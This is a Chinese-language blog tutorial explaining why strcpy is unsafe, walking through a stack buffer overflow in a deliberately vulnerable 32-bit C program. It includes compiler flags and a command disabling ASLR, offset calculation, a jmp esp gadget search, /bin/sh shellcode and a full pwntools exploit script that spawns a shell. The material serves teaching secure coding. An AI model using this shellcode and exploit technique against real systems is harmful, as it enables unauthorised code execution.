strcpy为何不安全

港控/mmm° 2023-02-16 06:02 15阅读 0赞

### 文章目录 ###

*   *   *  引言
         *  函数调用约定（32位）
         *  程序编译运行
         *  攻击的思路
         *  填充数据
         *  jmp esp地址
         *  编写shellcode
         *  完整攻击代码
         *  攻击效果
         *  公众号

### 引言 ###

在刚刚开始学校C语言的时候，很多人都用过strcpy这个函数。简单说是一个内存复制的函数。这个函数确实非常方便，但是这个函数是非常不安全，由与这个函数而产生的缓冲区溢出漏洞在很多文章中都有所介绍。我们应该摒弃strcpy的使用，而是用strncpy进行代替。

原型声明：char *strcpy(char* dest, const char *src);
    头文件：#include <string.h> 和 #include <stdio.h>
    功能：把从src地址开始且含有NULL结束符的字符串复制到以dest开始的地址空间
    说明：src和dest所指内存区域不可以重叠且dest必须有足够的空间来容纳src的字符串。

既然这个函数能造成缓冲区溢出漏洞，那么这个漏洞究竟是什么样子的那，怎么利用这个漏洞那。很多文章对这个却搞的讳莫如深，让人一头雾水。要弄懂这个，我们先了解下Linux下32为程序函数调用约定。

### 函数调用约定（32位） ###

以下是一个简单的C程序stackOf.c，后续的内容也是围绕这这个程序展开的。

#include<stdio.h>
    #include <unistd.h>
    #include <string.h>
    void  vul(char * msg){ 
        char buffer[64] ;
        strcpy(buffer,msg);
        return ;
    }
    int main(){ 
        puts("please give me your shellcode:");
        char shellcode[256];
        memset(shellcode,0,256);
        read(0,shellcode,256);
        vul(shellcode);
        return 0;
    }

这个程序的功能很简单，就是将输入的内容复制到buffer中。不过这里有一个问题，buffer只有64个字节，而输入却可以是256个字节，这会引发什么问题那？下面部分再说。  
这里我们来看在执行 vul(shellcode);的时候，对应的汇编代码是什么样子的那，以及进入vul函数和退出vul函数的时候，堆栈的变化情况。  
函数调用主要有两个点需要关注：  
（1）参数的出入方式  
（2）堆栈的平衡  
![在这里插入图片描述][20200608182947293.png]这个例子中只有一个参数，可以看出先进行push eax操作，在执行call sym.vul。也就是先将参数入栈，再进行调用操作。

> CALL指令（“调用”指令）的功能，就是以下两点：
> 
> 1.  将下一条指令的所在地址（即当时程序计数器PC的内容）入栈，
> 2.  并将子程序的起始地址送入PC（于是CPU的下一条指令就会转去执行子程序）

流程如下图所示：  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2hlbGxvd29ybGRkbQ_size_16_color_FFFFFF_t_70]在看下vul的汇编代码：![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2hlbGxvd29ybGRkbQ_size_16_color_FFFFFF_t_70 1]首先将老的ebp入栈，为何需要这一步，为了方便栈回溯。至于栈回溯的问题，后续会单独来说。  
重点来说一下leave和ret指令：

> CPU执行ret指令时，进行下面的两步操作：  
> (IP) = ((ss)\*16 +(sp))（返回地址）  
> (esp) = (esp)+2（32为是+4）
> 
> leave指令的作用： 在32位汇编下相当于:  
> mov esp,ebp;//将ebp指向（ebp内部应当保存一个地址，所谓指向即这个地址对应的空间）的值赋给esp  
> pop ebp

### 程序编译运行 ###

编译stackOf.c

gcc -m32 -no-pie -fno-stack-protector -z execstack -o pwnme stackOf.c

运行结果如下：  
![在这里插入图片描述][20200608185238223.png]  
最好加一条命令关闭系统的的地址随机化

sudo bash -c "echo 0 > /proc/sys/kernel/randomize_va_space"

如果是root用户，可以使用：

echo 0 > /proc/sys/kernel/randomize_va_space

查资料结论是sudo命令不支持重定向。

### 攻击的思路 ###

这里来说说一下buffer只有64个字节，而输入却可以是256个字节，这会引发的问题。当用户输入过长时，会向高地址覆盖。  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2hlbGxvd29ybGRkbQ_size_16_color_FFFFFF_t_70 2]如果将返回地址覆盖为:  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2hlbGxvd29ybGRkbQ_size_16_color_FFFFFF_t_70 3]  
就是将返回地址覆盖为jum esp的地址，这样当函数返回的时候，eip指向的就是jmp esp的地址  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2hlbGxvd29ybGRkbQ_size_16_color_FFFFFF_t_70 4]  
我们精心设计的buffer= 填充字符 + jmp\_esp地址 +shellcode

### 填充数据 ###

那么数据是怎么计算出来的那。  
用r2进行调试（gdb也可以），在strcpy出下断点，运行:  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2hlbGxvd29ybGRkbQ_size_16_color_FFFFFF_t_70 5]通过分析vul的汇编代码，可知在strcpy调用前将ebx（0xffa97850）入栈，而这就是buffer的起始地址，ebp的地址是0xffa97898，两者相见是0x48 = 64+8 = 72, 别忘了还有ebp在进入函数的时候也入栈了，所以还需要加上4个字节，也就是76个字节。

### jmp esp地址 ###

通过ldd命令可查看libc.so的加载地址  
![在这里插入图片描述][20200608192256163.png]  
UTF-8这个需要加上，能够避免中文乱码。

jmp esp在程序里的地址 : `jmp_esp_addr = jmp_esp_addr_offset+libc_base`,结合图解一下  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2hlbGxvd29ybGRkbQ_size_16_color_FFFFFF_t_70 6]

### 编写shellcode ###

具体怎么编写可参考：https://blog.csdn.net/helloworlddm/article/details/106594677  
shellcode如下所示：

'\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'

### 完整攻击代码 ###

#-*- coding: UTF-8 -*- 
    from pwn import *
    
    p = process('./pwnme')                    #运行程序
    p.recvuntil("shellcode:")                 #当接受到字符串'shellcode:'
    
    #找jmp_esp_addr_offset
    libc = ELF('/lib32/libc.so.6')              
    jmp_esp = asm('jmp esp')
    
    jmp_esp_addr_offset = libc.search(jmp_esp).next()
    
    if jmp_esp_addr_offset is None:
        print 'Cannot find jmp_esp in libc'
    else:
        print hex(jmp_esp_addr_offset)
    
    libc_base = 0xf7de0000                              #你找到的libc加载地址
    jmp_esp_addr = libc_base + jmp_esp_addr_offset      #得到jmp_esp_addr
    
    print hex(jmp_esp_addr)
    
    #构造布局
    buf = 'A'*76                                                     
    buf += p32(jmp_esp_addr)
    buf += '\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'
    
    with open('poc','wb') as f:
        f.write(buf)
    
    p.sendline(buf)                                                #发送构造后的buf
    
    p.interactive()

### 攻击效果 ###

从图中可以看出我们居然获得了shell，那删除文件、浏览文件、复制文件等等很多操作都可以随心所欲。  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2hlbGxvd29ybGRkbQ_size_16_color_FFFFFF_t_70 7]

### 公众号 ###

更多漏洞信息可关注公众号：  
![在这里插入图片描述][20200608193604438.jpg]  
技术交流群:  
![在这里插入图片描述][watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBA5peg5oOF5YmR5a6iQnVybmluZ1Rlbmc_size_20_color_FFFFFF_t_70_g_se_x_16_pic_center]

[20200608182947293.png]: https://img-blog.csdnimg.cn/20200608182947293.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2hlbGxvd29ybGRkbQ_size_16_color_FFFFFF_t_70]: https://img-blog.csdnimg.cn/20200608182103506.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2hlbGxvd29ybGRkbQ==,size_16,color_FFFFFF,t_70
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